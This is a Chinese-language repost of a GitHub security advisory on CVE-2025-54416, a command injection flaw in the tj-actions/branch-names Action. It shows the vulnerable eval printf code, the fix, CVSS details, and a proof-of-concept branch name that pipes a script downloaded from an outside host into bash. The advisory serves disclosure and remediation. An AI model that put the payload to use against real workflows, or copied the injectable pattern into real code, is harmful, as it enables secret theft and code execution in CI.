警惕GitHub Action高危漏洞!tj-actions/branch-names命令注入风险详解

本文详细分析了GitHub Action "tj-actions/branch-names"中存在的一个关键命令注入漏洞(CVE-2025-54416)。该漏洞源于输入清理不彻底和不安全的输出转义方式,允许攻击者通过恶意分支名称或标签执行任意命令,对下游工作流构成严重安全威胁。

tj-actions/branch-names存在命令注入漏洞 · CVE-2025-54416 · GitHub安全公告数据库

漏洞详情

数据包 actions / tj-actions/branch-names (GitHub Actions)

受影响的版本 <= 8.2.1

已修补的版本 9.0.0

描述

概述 在tj-actions/branch-names GitHub Action工作流中发现了一个关键漏洞,该漏洞允许在下游工作流中执行任意命令。此问题源于输入清理不一致和输出未正确转义,使得恶意行为者能够利用特制的分支名称或标签进行攻击。虽然内部已实施了清理机制,但该Action的输出仍然存在漏洞,给使用这些输出的工作流带来了重大的安全风险。

技术细节 该漏洞源于在Action代码库中不安全地使用了eval printf "%s"模式。尽管使用printf "%q"进行的初始清理能够正确转义不受信任的输入,但随后通过eval printf "%s"进行的反转义重新引入了命令注入的风险。这种不安全的模式在以下代码片段中得到了展示:

1
2
3
echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
echo "head_ref_branch=$(eval printf "%s" "$HEAD_REF")" >> "$GITHUB_OUTPUT"
echo "ref_branch=$(eval printf "%s" "$REF_BRANCH")" >> "$GITHUB_OUTPUT"

这种方法允许攻击者将任意命令注入到使用这些输出的工作流中,如下文的概念验证所示。

概念验证

  1. 创建一个名为$(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)的分支。
  2. 通过向目标仓库发起拉取请求来触发易受攻击的工作流。
  3. 在工作流日志中观察任意代码的执行情况。

示例输出:

1
2
3
4
5
6
Running on a pull request branch.
Run echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
  echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
  shell: /usr/bin/bash -e {0}
Running on pr: === PoC script executed successfully ===
Runner user: runner

影响 此漏洞允许在依赖tj-actions/branch-names输出的仓库中执行任意命令。影响的严重程度取决于授予GITHUB_TOKEN的权限和触发事件的上下文。潜在后果包括:

  • 窃取存储在仓库中的敏感密钥。
  • 未经授权写入仓库。
  • 破坏仓库的完整性和安全性。

缓解与解决方案 为解决此漏洞,必须将不安全的eval printf "%s"模式替换为更安全的替代方案。具体来说,直接的printf调用可以在不反转义shell不安全字符的情况下实现相同的功能。以下是推荐的修复方法:

1
2
3
4
printf "base_ref_branch=%s\n" "$BASE_REF" >> "$GITHUB_OUTPUT"
printf "head_ref_branch=%s\n" "$HEAD_REF" >> "$GITHUB_OUTPUT"
printf "ref_branch=%s\n" "$REF_BRANCH" >> "$GITHUB_OUTPUT"
printf "tag=%s\n" "$TAG" >> "$GITHUB_OUTPUT"

这种方法确保所有输出都保持正确转义,对下游使用是安全的。

建议

  • 立即行动:使用tj-actions/branch-names工作流的开发者应将其工作流更新到最新的主要版本v9。

参考

  • GitHub Actions安全指南
  • 如何保护GitHub Actions工作流
  • 相关漏洞:GHSA-mcph-m25j-8j63
  • 模板注入公告:GHSA-8v8w-v8xg-79rf

严重程度

关键 CVSS总分:9.1

CVSS v3 基础指标 攻击向量:网络 攻击复杂度:低 所需权限:低 用户交互:无 作用域:已更改 机密性:高 完整性:低 可用性:低 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

EPSS分数:0.096%(第27百分位)

弱点

弱点:CWE-77 描述:对命令中使用的特殊元素进行不当中和(命令注入)。产品使用来自上游组件的外部影响输入来构建全部或部分命令,但当命令发送到下游组件时,它没有中和或错误地中和了可能修改预期命令的特殊元素。

标识符

  • CVE ID: CVE-2025-54416
  • GHSA ID: GHSA-gq52-6phf-x2r6

源代码:tj-actions/branch-names

致谢:tutasla(报告者)

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计